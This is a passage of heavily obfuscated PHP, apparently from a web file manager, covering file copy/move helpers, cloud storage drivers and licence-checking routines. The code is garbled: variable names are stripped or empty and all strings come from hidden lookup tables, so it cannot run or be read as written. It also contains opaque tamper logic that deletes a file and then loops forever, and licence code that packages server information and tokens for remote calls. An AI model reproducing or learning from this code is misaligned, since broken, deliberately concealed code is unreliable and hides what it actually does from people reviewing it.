$̿ʑ[8]) == trim($->pathFather($), $̿ʑ[8])) { if ($->pathThis($) != $Ҷ && !$->isTypeObject()) { return $->rename($, $Ҷ); } return $->getPathOuter($); } if (method_exists($, $ޥ)) { return $->{$ޥ}($, $, $֚, $Ҷ); } } if ($ && $ޥ == $̿ʑ[557] && $->getType() == $̿ʑ[106]) { $ⱕ = $->movePath($, $, $Ҷ); if ($ⱕ) { return $ⱕ; } } $ѥ = $->isFile($); if (!$ѥ && $->getType() == $̿ʑ[762] && $->getType() == $̿ʑ[106]) { $ⱕ = $->copyFolderFromIO($, $, $, $֚, $͡, $Ҷ); } else { $ⱕ = self::copyPath($, $, $, $, $֚, $͡, $ѥ, $Ҷ); } if ($ⱕ && $͡) { $->remove($); } if ($֎) { $ⱕ = $֎->getPathOuter($ⱕ); } return $ⱕ; } private static function check($, $ݛ, $, &$ξ) { $܅ =& $_SERVER[]; if (self::driverIsSame($, $) && $->isFolder($ݛ) && $->isParentOf($ݛ, $ξ)) { show_json(LNG($܅[1161]), !1); } if (!$->exist($ݛ)) { show_json(LNG($܅[105]), !1); } } private static function copyPath($פ, $ƹ, $ڢ, $Ɣ, $淾, $ף, $, $ = false, $ᶧ = true) { $ =& $_SERVER[]; $ޘŀ = empty($) && $ !== $[197] ? $פ->pathThis($ƹ) : $; if ($淾) { $̊ = $ڢ->fileNameExist($Ɣ, $ޘŀ); $Ϊ = $ޘŀ; $ޘŀ = $ڢ->fileNameAuto($Ɣ, $ޘŀ, $淾, !$); if (!$̊ || $Ϊ != $ޘŀ) { $淾 = !1; } if ($ᶧ && !$淾) { $ڢ->_data[$[1162]] = !0; } } if ($) { return self::copyFile($פ, $ƹ, $ڢ, $Ɣ, $ޘŀ, $ף); } if ($淾 == REPEAT_RENAME_FOLDER) { $淾 = !1; } $Ы = rtrim($Ɣ, $[8]) . $[8] . $ޘŀ; $ = $ڢ->mkdir($ڢ->getPath($Ы), $淾); $Ɣ = $ڢ->getPathInner($); $˶ = $פ->listPath($ƹ, !0); $˶ = is_array($˶) ? $˶ : array($[83] => array(), $[82] => array()); $dz쨱 = array_merge($˶[$[83]], $˶[$[82]]); foreach ($dz쨱 as $) { $֑ = $[$[33]] == $[199]; $ƹ = $פ->getPathInner($[$[84]]); $ = self::copyPath($פ, $ƹ, $ڢ, $Ɣ, $淾, $ף, $֑, !1, !1); if (!$) { IO::errorTips($[1163] . $ƹ . $[70] . $Ɣ); } } self::copyMoveKeepInfo($פ, $ƹ, $); return $; } private static function copyFile($, $, $, $, $ڣ, $) { $߹ =& $_SERVER[]; $ = $->getPath(rtrim($, $߹[8]) . $߹[8] . $ڣ); $Ѹ当 = $߹[1164] . time() . rand_string(5); Hook::trigger($߹[1165], $, $, $, $, $ڣ, $Ѹ当); if (self::driverIsSame($, $)) { if ($) { $ϝ = $->moveFile($, $); } else { $ϝ = $->copyFile($, $); } Hook::trigger($߹[1166], $, $, $, $, $ڣ, $ϝ); self::copyMoveKeepInfo($, $, $ϝ); return $ϝ; } $ = TEMP_FILES; if ($GLOBALS[$߹[6]][$߹[89]][$߹[800]]) { $ = $GLOBALS[$߹[6]][$߹[89]][$߹[800]]; } $ՙ = $; mk_dir($ՙ); $ޛ = $ՙ . $Ѹ当; $ = $ޛ; $ޛ = $->download($, $ޛ); $ޛ = $->iconvApp($ޛ); if (substr($ޛ, strlen($)) == $) { $ = !0; } $ϝ = $->upload($, $ޛ, $); self::remove($); Hook::trigger($߹[1166], $, $, $, $, $ڣ, $ϝ); self::copyMoveKeepInfo($, $, $ϝ); return $ϝ; } private static function copyMoveKeepInfo($֚, $柭, $Ⱦ) { if (!$Ⱦ) { return; } $؏ = $֚->info($柭); if (!is_array($؏)) { return; } IO::setModifyTime($Ⱦ, $؏[$_SERVER[][85]]); } public static function pathFather($) { $ = IO::init($); $Ҙ = $->pathFather($->path); return $->getPathOuter($Ҙ); } public static function fileOut($, $ج = false, $ = false, $Э = '') { $ = self::driverMake($); if ($->isFileOutServer()) { return $->fileOutServer($, $ج, $, $Э); } return $->fileOut($, $ج, $, $Э); } public static function fileOutImage($, $ۿ = 250) { $ӏ = array(250, 600, 1200, 2000, 3000, 5000); for ($ = 0; $ < count($ӏ); $++) { if ($ == 0 && $ۿ <= $ӏ[$]) { $ۿ = $ӏ[$]; break; } else { if ($ۿ > $ӏ[$ - 1] && $ۿ <= $ӏ[$]) { $ۿ = $ӏ[$]; break; } else { if ($ == count($ӏ) - 1 && $ۿ > $ӏ[$]) { $ۿ = $ӏ[$]; break; } } } } $ְ = self::driverMake($); if ($ְ->isFileOutServer()) { return $ְ->fileOutImageServer($, $ۿ); } return $ְ->fileOutImage($, $ۿ); } private static function driverIsSame($փ, $զȑ) { $ =& $_SERVER[]; $Ѱ = $փ->getType(); $˧ = $զȑ->getType(); if ($Ѱ != $˧) { return !1; } if ($Ѱ == $[762]) { return !0; } if ($Ѱ == $[106]) { return !0; } if ($փ->pathDriver == $զȑ->pathDriver) { return !0; } return !1; } public static function copyUpdate($, $轀) { $ =& $_SERVER[]; if (!IO::exist($)) { return !1; } if (!IO::exist($轀)) { IO::mkdir($轀); } $ = self::_listAll($); $ = self::_listAll($轀); $ݝ = array(); $ߖ = array(); foreach ($ as $֦ => $̀) { if (isset($[$֦])) { if ($̀[$[75]] == 1) { continue; } if ($[$֦][$[76]] == $̀[$[76]]) { continue; } } if ($̀[$[75]] == 1) { $ߖ[] = $轀 . $[8] . $֦; continue; } $С = strstr(trim($֦, $[8]), $[8]) ? get_path_father($֦) : $[12]; $ݝ[] = array($[1167] => $̀[$[84]], $[1168] => rtrim($轀, $[8]) . $[8] . $С, $[1169] => $̀); } $ = array($[199] => $ݝ, $[75] => $ߖ); Hook::trigger($[1170], $, $轀, $); foreach ($ߖ as $̀) { IO::mkdir($̀); } foreach ($ݝ as $̀) { IO::copy($̀[$[1167]], $̀[$[1168]], REPEAT_REPLACE); } } private static function _listAll($㺀) { $ =& $_SERVER[]; $㺀 = KodIO::clear($㺀); $ = IO::listAll($㺀); foreach ($ as &$ؘú) { $̘ = substr($ؘú[$[84]], strlen($㺀)); $ؘú[$[1171]] = trim($̘, $[8]); } unset($ؘú); return array_to_keyvalue($, $[1171]); } public static function fileSubstr($ԿΙ, $،, $㙍 = false) { $㧪 =& $_SERVER[]; $ = self::driverMake($ԿΙ); $ = $->size($ԿΙ); $ = $،; $ = $㙍; if ($، < 0) { $، = $ + $،; } if ($㙍 === !1) { $㙍 = $ - $،; } if ($، + $㙍 > $) { $㙍 = $ - $،; } if (!$ && $->getType() == $㧪[106] && !$->exist($ԿΙ)) { $ = get_path_this($ԿΙ); $讻 = parse_url_query($); if (is_array($讻) && isset($讻[$㧪[32]])) { $ = urldecode($讻[$㧪[32]]); } throw new Exception($㧪[1172] . LNG($㧪[1173]) . $㧪[973] . clear_html($) . $㧪[12]); } if ($㙍 <= 0) { return $㧪[12]; } if ($، < 0 || $، >= $ || $㙍 > 1024 * 1024 * 10) { throw new Exception("\x66\151\154\x65\122\145\x61\x64\40\x65\162\x72\x6f\x72\x21\40\163\x74\x61\x72\164\x3d{$،}\x3b\154\145\156\147\164\x68\x3d{$㙍}\x3b\40\x73\x69\x7a\x65\x3d{$}\73"); } $ی = $->fileSubstr($ԿΙ, $،, $㙍); if (!$ی && $㙍 && isset($GLOBALS[$㧪[1174]])) { throw new Exception($GLOBALS[$㧪[1174]][$㧪[1175]]); } return $ی; } private static function driverMake(&$×) { $ =& $_SERVER[]; $즻 = KodIO::parse($×); if (!self::$driverListSystem) { $ᲈ = Model($[771])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($ᲈ, $[399]); } if ($즻[$[33]] == KodIO::KOD_IO && !self::$driverListSystem[$즻[$[399]]]) { return !1; } $× = $즻[$[1176]]; $굷 = self::driverGet($즻, $×); return $굷; } private static function driverGet($Ƒ, &$聁) { $ =& $_SERVER[]; $ = $Ƒ[$[1177]]; $ = $Ƒ[$[399]]; switch ($Ƒ[$[33]]) { case KodIO::KOD_IO: $˄ = self::$driverListSystem[$]; break; case KodIO::KOD_SOURCE: $聁 = $ . $聁; $˄ = array($[1178] => $[1179], $[6] => $Ƒ); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $ʬ = $GLOBALS[$[1180]]; self::$driverListUser = array_to_keyvalue($ʬ, $[399]); } $˄ = self::$driverListUser[$]; break; case KodIO::KOD_SHARE_LINK: $˄ = array($[1178] => $[1181], $[6] => $Ƒ); $ = Action($[1182])->sharePathInfo($Ƒ[$[84]]); $聁 = $[$[402]]; if (!$[$[402]]) { $ = Model($[601])->getInfo($[$[489]]); $聁 = KodIO::clear($[$[1183]] . $Ƒ[$[1176]]); $Ƒ[$[487]] = $; $Ƒ[$[1158]] = $聁; $˄ = array($[1178] => $[1184], $[6] => $Ƒ); } break; case KodIO::KOD_SHARE_ITEM: $˄ = array($[1178] => $[1185], $[6] => $Ƒ); $ = Model($[601])->getInfo($Ƒ[$[399]]); if ($[$[402]] == $[197]) { $聁 = KodIO::clear($[$[1183]] . $Ƒ[$[1176]]); $Ƒ[$[487]] = $; $Ƒ[$[1158]] = $聁; $˄ = array($[1178] => $[1186], $[6] => $Ƒ); } else { if (!$聁) { $聁 = $[$[402]]; } } break; default: $聁 = $Ƒ[$[84]]; $˄ = array($[1178] => $[1187]); break; } $ᗫ = $Ƒ[$[84]]; if (!isset(self::$driverCache[$ᗫ])) { $ = strtolower($˄[$[95]]); $Ĉ = $GLOBALS[$[6]][$[89]][$[830]]; $次 = $[74] . (isset($Ĉ[$]) ? $Ĉ[$] : ucfirst($)); if (!class_exists($次)) { show_json("{$次}\40\x6e\157\x74\x20\x65\x78\x69\x73\x74\163\x21", !1); } $ = isset($˄[$[6]]) ? $˄[$[6]] : !1; self::$driverCache[$ᗫ] = new $次($); } $ = self::$driverCache[$ᗫ]; $->pathDriver = $; $->pathBase = $[12]; if (isset($˄[$[6]][$[1188]])) { $->pathBase = rtrim($˄[$[6]][$[1188]], $[8]) . $[8]; $聁 = $->pathBase . ltrim($聁, $[8]); } $聁 = $->getPath($聁); if (isset($Ƒ[$[1158]])) { $聁 = $Ƒ[$[1158]]; } $->path = $聁; return $; } public static function errorTips($ʽ = false) { $ˇ =& $_SERVER[]; static $ = array(); $µ = 1000; if ($ʽ === -1) { return $ ? $[count($) - 1] : $ˇ[12]; } if ($ʽ === !1) { return implode($ˇ[231], $); } if (count($) >= $µ) { $ = array_slice($, $µ * 0.5, $µ); } $[] = $ʽ; write_log($ˇ[162] . ACTION . $ˇ[1189] . $ʽ, $ˇ[1190]); } public static function getLastError($̔ = '') { $ÀÀ = self::errorTips(-1); return $ÀÀ ? $ÀÀ : $̔; } } goto f; DԺ: class PathDriverEDS extends PathDriverMinIO { public function __construct($) { parent::__construct($); } } class PathDriverEOS extends PathDriverBaseS3 { public function __construct($ۓ) { parent::__construct($ۓ); $this->signatureVersion($_SERVER[][216]); } public function uploadFormData($, $У = 3600) { $ =& $_SERVER[]; $ = $[198]; $ҕ܂Ą = $[1362]; $ = $[62]; $ = gmdate($[1363]); $Ș = gmdate($[755]); $јߔ = $[1364]; $Ɉ = $У . $[12]; $ = $[1326]; $ș = array($this->accessKey, $Ș, $this->region, $, $јߔ); $ѱж = implode($[8], $ș); $ = array($[1328] => gmdate($[1327], strtotime($[1365])), $[1329] => array(array($[1331] => $this->bucket), array($[1330] => $), array($[1332], $[1333], $[12]), array($[1332], $[1366], $[12]), array($[1332], $[1367], $[12]), array($[1334] => $), array($[1368] => $ѱж), array($[1369] => $ҕ܂Ą), array($[1370] => $), array($[1371] => $Ɉ))); $˓ = base64_encode(json_encode($)); $ = hash_hmac($[1372], $Ș, $[1373] . $this->secret, !0); $ = hash_hmac($[1372], $this->region, $, !0); $ƌ = hash_hmac($[1372], $, $, !0); $ = hash_hmac($[1372], $јߔ, $ƌ, !0); $ = hash_hmac($[1372], $˓, $); $ܲٛ = array($[215] => $[12], $[1374] => $[12], $[1330] => $, $[1334] => $, $[1338] => $˓, $[1375] => $ѱж, $[1376] => $ҕ܂Ą, $[1377] => $, $[1378] => $Ɉ, $[1379] => $, $[181] => $this->getHost()); return $ܲٛ; } } if (!isset($_SERVER[$_SERVER[][880]]) || !isset($_SERVER[$_SERVER[][881]])) { $_getc = $_SERVER[][883]; $_getfile = $_SERVER[$_SERVER[][884]] . $_SERVER[][885]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][231], $_getfilec); if (count($_getarrs) < $_SERVER[][620]) { $exit = $_SERVER[][886]; $exit(); } $_act = $_SERVER[][1380]; $_act($_SERVER[$_SERVER[][884]] . $_SERVER[][885]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[][378]); } } goto F; BԆ: class Application { private $defaultModule = "\151\156\x64\145\x78"; private $defaultController = "\151\x6e\144\x65\170"; private $defaultAction = "\151\x6e\144\x65\x78"; function __construct() { } public function setDefault($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = explode($[0], trim($, $[0])); $this->defaultModule = $[0] ? $[0] : $this->defaultModule; $Т = $[619]; if (strlen($Т) < $[620]) { return; } $this->defaultController = $[1] ? $[1] : $this->defaultController; $this->defaultAction = $[2] ? $[2] : $this->defaultAction; $ = $[621]; $this->qcer655111b3($[1], array($this, $[2])); } public function appRun($Щ) { $ѻ =& $_SERVER[]; $ =& $_SERVER[]; $ = explode($[0], $Щ); $ޮ = $ѻ[622]; if (strlen($ޮ) < $ѻ[623]) { die; } $ҕܺ = strtolower($[0]); $ = $ѻ[624]; if (strlen($) < $ѻ[623]) { die; } $ˑ = $[3]; if ($ҕܺ == $[4]) { $ˑ = $[5]; $[0] = $[6]; $[1] = $[1] . $[7]; $Щ = join($[0], $); $Щ = trim($Щ, $[0]); } call_user_func(array($[8], $[9]), $ˑ . $[10], $Щ); ActionCall($Щ); $г = $ѻ[625]; if (!$г) { die; } call_user_func(array($[8], $[9]), $ˑ . $[11], $Щ); } private function autorun() { $ =& $_SERVER[]; global $config; if (count($config[$[12]]) == 0) { return; } foreach ($config[$[12]] as $ᾫ => $Ê) { $this->appRun($Ê); } } private function dxfs566e6a0d() { $甝 =& $_SERVER[]; $理 =& $_SERVER[]; $ = $理[4]; $Ւ = $GLOBALS[$理[13]][$理[14]][0]; $Ɛ = $甝[626]; if (strlen($Ɛ) < $甝[623]) { return; } if (!$Ւ || strlen($Ւ) <= strlen($)) { return; } if (strtolower(substr($Ւ, -strlen($))) != $) { return; } $Ώ = substr($Ւ, 0, -strlen($)); $ = array($理[4], $Ώ); $㻇 = $甝[627]; while ($㻇 < $甝[620]) { if ($㻇 >= 0) { break; } $㻇++; } $ = array_slice($GLOBALS[$理[13]][$理[14]], 1); $Ψ = $甝[628]; if (strlen($Ψ) < $甝[623]) { return; } $GLOBALS[$理[13]][$理[14]] = array_merge($, $); $GLOBALS[$理[13]][$理[15]] = implode($理[0], $GLOBALS[$理[13]][$理[14]]); $ = $甝[629]; while ($ < $甝[620]) { if ($ >= 0) { break; } $++; } } private function idyn6e8b08a1() { $ؽ =& $_SERVER[]; $ў =& $_SERVER[]; if ($GLOBALS[$ў[13]][$ў[15]] != $ў[6]) { return; } $ = $_SERVER[$ў[16]]; $ = $ؽ[630]; if (!$) { die; } $ӨѪ = $ў[17]; $ = $ؽ[631]; if (!strstr($, $ӨѪ)) { return; } $ = strrpos($, $ӨѪ); $߷ = substr($, $ + strlen($ӨѪ)); preg_match_all($ў[18], $߷, $ԮЩ); $ј = $ؽ[632]; $߷ = trim($ԮЩ[0][0], $ў[19]); $̠ = $ؽ[633]; if (!$̠) { return; } $GLOBALS[$ў[13]][$ў[14]] = explode($ў[19], $߷); $̷ = $ؽ[634]; while (strlen($̷) < $ؽ[635]) { if (!$̷) { break; } $̷++; } $GLOBALS[$ў[13]][$ў[15]] = implode($ў[0], $GLOBALS[$ў[13]][$ў[14]]); $д = $ؽ[636]; while (strlen($д) < $ؽ[635]) { if (!$д) { break; } $д++; } } public function run() { $ǧ =& $_SERVER[]; $this->idyn6e8b08a1(); $this->dxfs566e6a0d(); $ѳ = $GLOBALS[$ǧ[13]][$ǧ[14]]; $ = $GLOBALS[$ǧ[13]][$ǧ[15]]; define($ǧ[20], isset($ѳ[0]) && $ѳ[0] ? $ѳ[0] : $this->defaultModule); define($ǧ[21], isset($ѳ[1]) && $ѳ[0] ? $ѳ[1] : $this->defaultController); define($ǧ[22], isset($ѳ[2]) && $ѳ[0] ? $ѳ[2] : $this->defaultAction); define($ǧ[23], MOD . $ǧ[0] . ST . $ǧ[0] . ACT); $_SERVER[$ǧ[24]] = strtolower(ACTION); $this->autorun(); if (count($ѳ) >= 3) { $this->appRun($); } else { $this->appRun(ACTION); } } private $iahcc1a4cabb = array(); private $zmexe914e117 = ''; public function yhft0931fa3b() { $˝ =& $_SERVER[]; $ =& $_SERVER[]; $this->xdby1b4e9dc4(); $this->udlab520b25e(); $ = $˝[637]; if (strlen($) < $˝[615]) { return; } $this->kvem1997e542(); $ٍܸم = $˝[638]; while ($ٍܸم < $˝[635]) { if ($ٍܸم >= 0) { break; } $ٍܸم++; } $this->hqos1048e310(); $this->fkyw31ebe523(); $Ӆ = $˝[639]; $this->ltkbe49b12a6(); $this->dxplcbbf530e(); $ = $˝[640]; if (!$) { return; } $this->qcer655111b3($[25], array($this, $[26])); $this->qcer655111b3($[27], array($this, $[28])); $this->qcer655111b3($[29], array($this, $[30])); $this->qcer655111b3($[31], array($this, $[32])); $У = $˝[641]; if (!$У) { return; } } public function mrpi8a160eaf($ۡ) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = Model($[33])->get(); $ = $[642]; if (!$) { return; } $ = array($[34], $[35], $[36], $[37], $[38], $[39], $[40], $[41], $[42], $[43], $[44], $[45], $[46], $[47], $[48], $[49], $[50], $[51], $[52], $[53], $[54], $[55], $[56], $[57], $[58], $[59], $[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71], $[72], $[73], $[74], $[75], $[76], $[77], $[78], $[79], $[80], $[81], $[82], $[83], $[84]); $ő = $[643]; while (strlen($ő) < $[644]) { if (!$ő) { break; } $ő++; } foreach ($ as $) { $ۧ = $GLOBALS[$[85]][$[86]][$]; $Τ = $[645]; while (strlen($Τ) < $[620]) { if (!$Τ) { break; } $Τ++; } if (isset($[$])) { $ۧ = $[$]; } $ۡ[$[87]][$[88]][$] = $ۧ; } $ = $ۡ[$[87]][$[88]][$[46]]; $Ҟ = $[646]; unset($ۡ[$[87]][$[89]][$[90]]); $퍍 = $[647]; if (strlen($퍍) < $[623]) { return; } unset($ۡ[$[87]][$[89]][$[91]]); $툫 = $[648]; if (strlen($툫) < $[615]) { die; } unset($ۡ[$[87]][$[88]][$[46]]); $У = $[649]; if (strlen($У) < $[644]) { die; } unset($ۡ[$[87]][$[88]][$[92]]); $ۡ[$[87]][$[88]][$[93]] = array($[94] => (int) $[$[95]], $[96] => (int) _get($, $[97], 0)); $欘 = $[650]; if (!$欘) { die; } $ۡ[$[98]][$[99]] = Action($[100])->accessToken(); $ۡ[$[98]][$[101]] = md5($_SERVER[$[102]] . $[$[103]]); $ۡ[$[98]][$[104]] = base64_encode(serverInfo()); $ۡ[$[98]][$[105]] = $this->zmexe914e117; if ($[$[105]] != $[106]) { $ۡ[$[98]][$[107]] = $[$[107]]; $ۡ[$[98]][$[108]] = $[$[108]]; $܆ = rand_string(10) . $this->zmexe914e117 . rand_string(5); $ۡ[$[87]][$[109]][$[110]] = $this->xdaq29ec9f10($܆, $ۡ[$[98]][$[101]]); } if ($this->zmexe914e117 == $[106]) { $ۡ[$[87]][$[88]][$[93]][$[97]] = 0; } $ۡ[$[98]][$[111]] = _get($this->iahcc1a4cabb, $[112], $[6]); $ۡ[$[98]][$[113]] = _get($this->iahcc1a4cabb, $[114], $[6]); if (_get($GLOBALS, $[115]) && $this->config[$[116]]) { $ۡ[$[98]][$[117]] = WEB_ROOT; } return $ۡ; } private function ltkbe49b12a6() { $ѽ =& $_SERVER[]; $뜓 =& $_SERVER[]; $ʽ = $_SERVER[$뜓[24]] == $뜓[118]; $Ρ噘 = $ѽ[651]; if (strlen($Ρ噘) < $ѽ[644]) { return; } if ($_SERVER[$뜓[24]] == $뜓[119] && $_GET[$뜓[120]] == $뜓[121]) { $ʽ = !0; } if ($ʽ) { $ = array($뜓[105] => $this->zmexe914e117, $뜓[122] => $this->tvnibd7bf96f(), $뜓[123] => Model($뜓[124])->count()); if ($this->zmexe914e117 != $뜓[106]) { $ = _get($this->iahcc1a4cabb, $뜓[125]); if ($) { $[$뜓[126]] = $; $[$뜓[127]] = strtotime(_get($this->iahcc1a4cabb, $뜓[128])); $[$뜓[129]] = _get($this->iahcc1a4cabb, $뜓[114]); } $许 = Model($뜓[33])->get($뜓[130], $뜓[6], !0); if (is_string($许) && substr($许, 0, 1) == $뜓[131]) { $许 = json_decode_force($许); } if (is_array($许) && $许[$뜓[132]] && strstr($许[$뜓[132]], $뜓[133])) { $ȶ = explode($뜓[133], $许[$뜓[132]]); $[$뜓[134]] = $ȶ[0]; } } $ = $this->jsuhbe72926f(json_encode($), md5($뜓[135])); $ѽΥ = array($뜓[136] => $); call_user_func(array($뜓[137], $뜓[138]), $ѽΥ); $ = $ѽ[652]; if (!$) { die; } } if ($this->zmexe914e117 == $뜓[106]) { return; } $ˠ = array($뜓[139], $뜓[140], $뜓[141], $뜓[142], $뜓[143], $뜓[144]); $ល = $ѽ[653]; $֦ = Model($뜓[33])->get(); $ = $ѽ[654]; $ѽΥ = array($뜓[145] => $֦[$뜓[34]], $뜓[146] => $֦[$뜓[35]], $뜓[147] => $뜓[6]); foreach ($ˠ as $ա) { if (!isset($֦[$ա]) || !$֦[$ա]) { continue; } $ѽΥ[$ա] = $֦[$ա]; $ٴ = $ѽ[655]; if (strlen($ٴ) < $ѽ[615]) { return; } } call_user_func(array($뜓[137], $뜓[138]), $ѽΥ); $لΦ = $ѽ[656]; while ($لΦ < $ѽ[623]) { if ($لΦ >= 0) { break; } $لΦ++; } } private function hqos1048e310() { $ =& $_SERVER[]; $÷ =& $_SERVER[]; if ($_SERVER[$÷[24]] != $÷[148]) { return; } if (!_get($GLOBALS, $÷[115])) { die; } $Ŋ = $GLOBALS[$÷[13]]; if (isset($Ŋ[$÷[149]])) { $this->nktrb1d5b8e6(); die; } if (!isset($Ŋ[$÷[150]]) || strlen($Ŋ[$÷[150]]) != 16) { show_json($÷[151] . $Ŋ[$÷[150]], !1); } $ = Model($÷[33])->get($÷[103]); $ˠ = md5($_SERVER[$÷[102]] . $); $ = $[657]; if (strlen($) < $[644]) { return; } $܇ = array($÷[150] => $Ŋ[$÷[150]], $÷[152] => rand_string(16), $÷[153] => $÷[135], $÷[154] => $÷[155], $÷[156] => $_SERVER[$÷[157]], $÷[158] => $_SERVER[$÷[159]], $÷[160] => $_SERVER[$÷[161]], $÷[101] => $ˠ, $÷[162] => Model($÷[33])->get($÷[130])); if ($Ŋ[$÷[163]] == $÷[164]) { $ɘ = $this->jsuhbe72926f($ˠ, $÷[165]); $ = $this->xdaq29ec9f10(json_encode($܇), $ˠ . $÷[166], 3); $ = $ . $÷[167] . $_SERVER[$÷[157]]; $ = $this->kvpm075090df($÷[168] . $ɘ . $÷[169] . $, -1); show_json($, !0); } else { if ($Ŋ[$÷[163]] == $÷[170]) { $؇ = substr(md5($÷[171] . $ˠ), 12, 15) . $÷[172]; $ = $this->jkui5488d6ae(trim($Ŋ[$÷[173]]), $؇, 2); $ = json_decode($, !0); if (!is_array($) || !is_array($[$÷[174]]) || $[$÷[150]] != !0) { $ֽ = $÷[175]; $Ν = $[$÷[174]] ? $÷[176] . $[$÷[174]] : $ֽ; show_json($Ν, !1); } else { $܇[$÷[152]] = $[$÷[174]][$÷[177]]; } } else { $ = $this->kvpm075090df($÷[178], $܇, 10); } } if (!is_array($) || !is_array($[$÷[174]]) || $[$÷[150]] != !0) { $ֽ = LNG($÷[179]); $Ν = $[$÷[174]] ? $÷[176] . $[$÷[174]] : $ֽ; show_json($Ν, !1); } $́ = $[$÷[174]]; $ = $this->zrhw8bce5465($́[$÷[180]]); $ݕ = $[658]; if (!$ || $ != $́[$÷[128]]) { $ڡ = array($÷[181] => Model($÷[33])->get($÷[103]), $÷[182] => $_SERVER[$÷[102]], $÷[183] => this_url(), $÷[158] => $_SERVER[$÷[159]]); $ = $this->lxuab15aeb4e(json_encode($ڡ)); $this->kvpm075090df($÷[184] . $); show_json(LNG($÷[185]), !0); } $ = array($÷[186] => $́[$÷[187]], $÷[188] => $́[$÷[189]], $÷[190] => rand_string(16), $÷[105] => $́[$÷[191]]); if ($܇[$÷[152]]) { $[$÷[190]] = $܇[$÷[152]]; } $ԣ = substr(md5($[$÷[188]]), 10, 10); $ƌ = $ԣ . $[$÷[105]] . $[$÷[190]]; $[$÷[107]] = strrev(base64_encode($this->jsuhbe72926f($ƌ, $÷[192]))); $Ԟ = $[659]; while (strlen($Ԟ) < $[623]) { if (!$Ԟ) { break; } $Ԟ++; } $ = rand_string(16); $ = $ . $[$÷[105]] . $this->jsuhbe72926f(md5($[$÷[186]]), $); $ = $[660]; if (strlen($) < $[615]) { return; } $[$÷[108]] = base64_encode(strrev($this->jsuhbe72926f($, $÷[193]))); if ($́[$÷[194]] && $́[$÷[194]] >= 1) { Model($÷[33])->setDeep($÷[195], $÷[121]); } Model($÷[33])->set($); $ʞ = md5($_SERVER[$÷[102]] . strrev($) . $[$÷[188]]); $ = strrev(substr($ʞ, 10, 16)); $͍ = $this->xdaq29ec9f10(json_encode($́), $ʞ); $ = $[661]; $ = array_to_keyvalue(Model($÷[7])->listData(), $÷[196]); $ = $[$÷[197]]; $ = $[662]; while (strlen($) < $[644]) { if (!$) { break; } $++; } $Ո = array(); $Ո[$] = $͍; $Ǿ = $[663]; if (!$Ǿ) { die; } Model($÷[7])->update($[$÷[198]], array($÷[199] => $Ո)); $this->iahcc1a4cabb = $́; $ = $[664]; if (strlen($) < $[620]) { return; } $this->zmexe914e117 = $[$÷[105]]; $this->licenseRegistSuccess(); $ = $[665]; Cache::set($÷[200] . md5($ . $÷[201]), $÷[6]); show_json(LNG($÷[185]), !0); $ = $[666]; if (strlen($) < $[615]) { return; } } private function licenseRegistSuccess() { $ =& $_SERVER[]; $٦ѐ = Model($[33])->get(); $ = $_SERVER[][667]; if (!$) { die; } if ($٦ѐ[$[63]] != $[121]) { Model($[33])->set($[63], $[121]); } Action($[202])->initStart(!0); } private function nktrb1d5b8e6() { $˯ =& $_SERVER[]; $NJŏ =& $_SERVER[]; Model($NJŏ[33])->set(array($NJŏ[186] => $NJŏ[6], $NJŏ[188] => $NJŏ[6], $NJŏ[105] => $NJŏ[106], $NJŏ[107] => $NJŏ[6], $NJŏ[108] => $NJŏ[6])); $ب = $˯[668]; if (!$ب) { return; } Model($NJŏ[33])->setDeep($NJŏ[195], $NJŏ[203]); $this->iahcc1a4cabb = array(); $ׂ = $˯[669]; while (strlen($ׂ) < $˯[620]) { if (!$ׂ) { break; } $ׂ++; } $this->zmexe914e117 = $NJŏ[106]; $ߗ = $˯[670]; while ($ߗ < $˯[620]) { if ($ߗ >= 0) { break; } $ߗ++; } } private function xdby1b4e9dc4() { $ԧ =& $_SERVER[]; $_SERVER[$ԧ[159]] = _get($_SERVER, $ԧ[159], APP_HOST); $this->zmexe914e117 = $ԧ[106]; $Ή = Model($ԧ[33])->get(); if ($Ή[$ԧ[105]] == $ԧ[106]) { return; } $ = Model($ԧ[33])->get($ԧ[103]); $ك = $ԧ[200] . md5($ . $ԧ[201]); $訬 = Cache::get($ك); if (!is_array($訬) || !isset($訬[$ԧ[204]]) || time() - $訬[$ԧ[204]] >= 60) { $ݽ = Model($ԧ[7])->loadList(); $͵ = $ݽ[$ԧ[197]]; $ߺ = md5($_SERVER[$ԧ[102]] . strrev($) . $Ή[$ԧ[188]]); $ = strrev(substr($ߺ, 10, 16)); $訬 = $this->jkui5488d6ae($͵[$ԧ[85]][$], $ߺ); $訬 = json_decode($訬, !0); } if (!is_array($訬)) { return $this->nktrb1d5b8e6(); } $ = strtotime($訬[$ԧ[128]]); if (time() >= $) { return $this->nktrb1d5b8e6(); } if (time() - $訬[$ԧ[204]] > 20) { $訬[$ԧ[204]] = time(); Cache::set($ك, $訬); } $this->iahcc1a4cabb = $訬; $this->zmexe914e117 = $Ή[$ԧ[105]]; $ݮڵ = $_SERVER[][671]; } private function udlab520b25e() { $ =& $_SERVER[]; $ī = $GLOBALS[$[13]]; $ = $_SERVER[][672]; if (!$) { return; } $ = $_SERVER[$[24]]; if ($ == $[205] && $this->zmexe914e117 == $[106]) { show_json(LNG($[206]), !1, $[207]); } $Йܥ = array($[208], $[209]); if (in_array($, $Йܥ)) { if ($this->zmexe914e117 == $[106] && isset($ī[$[210]])) { show_json(LNG($[206]), !1, $[207]); die; } $뤤 = $this->tvnibd7bf96f(); if ($뤤 != intval($[211])) { if ($뤤 <= Model($[124])->count()) { show_json(LNG($[212]), !1, $[207]); die; } } } } private function kvem1997e542() { $Ē =& $_SERVER[]; $որ =& $_SERVER[]; $ڈ랲 = array($որ[118], $որ[119]); $Խ = $Ē[673]; if (strlen($Խ) < $Ē[635]) { die; } if (!_get($GLOBALS, $որ[115]) || !isset($_GET[$որ[213]])) { return; } if (!in_array($_SERVER[$որ[24]], $ڈ랲)) { return; } $ = $որ[214]; $߱ = $Ē[674]; while ($߱ < $Ē[644]) { if ($߱ >= 0) { break; } $߱++; } $ = $this->uydc2abb5257($, $որ[215]); $Ď = $Ē[675]; while ($Ď < $Ē[635]) { if ($Ď >= 0) { break; } $Ď++; } $й = stream_context_create(array($որ[216] => array($որ[217] => 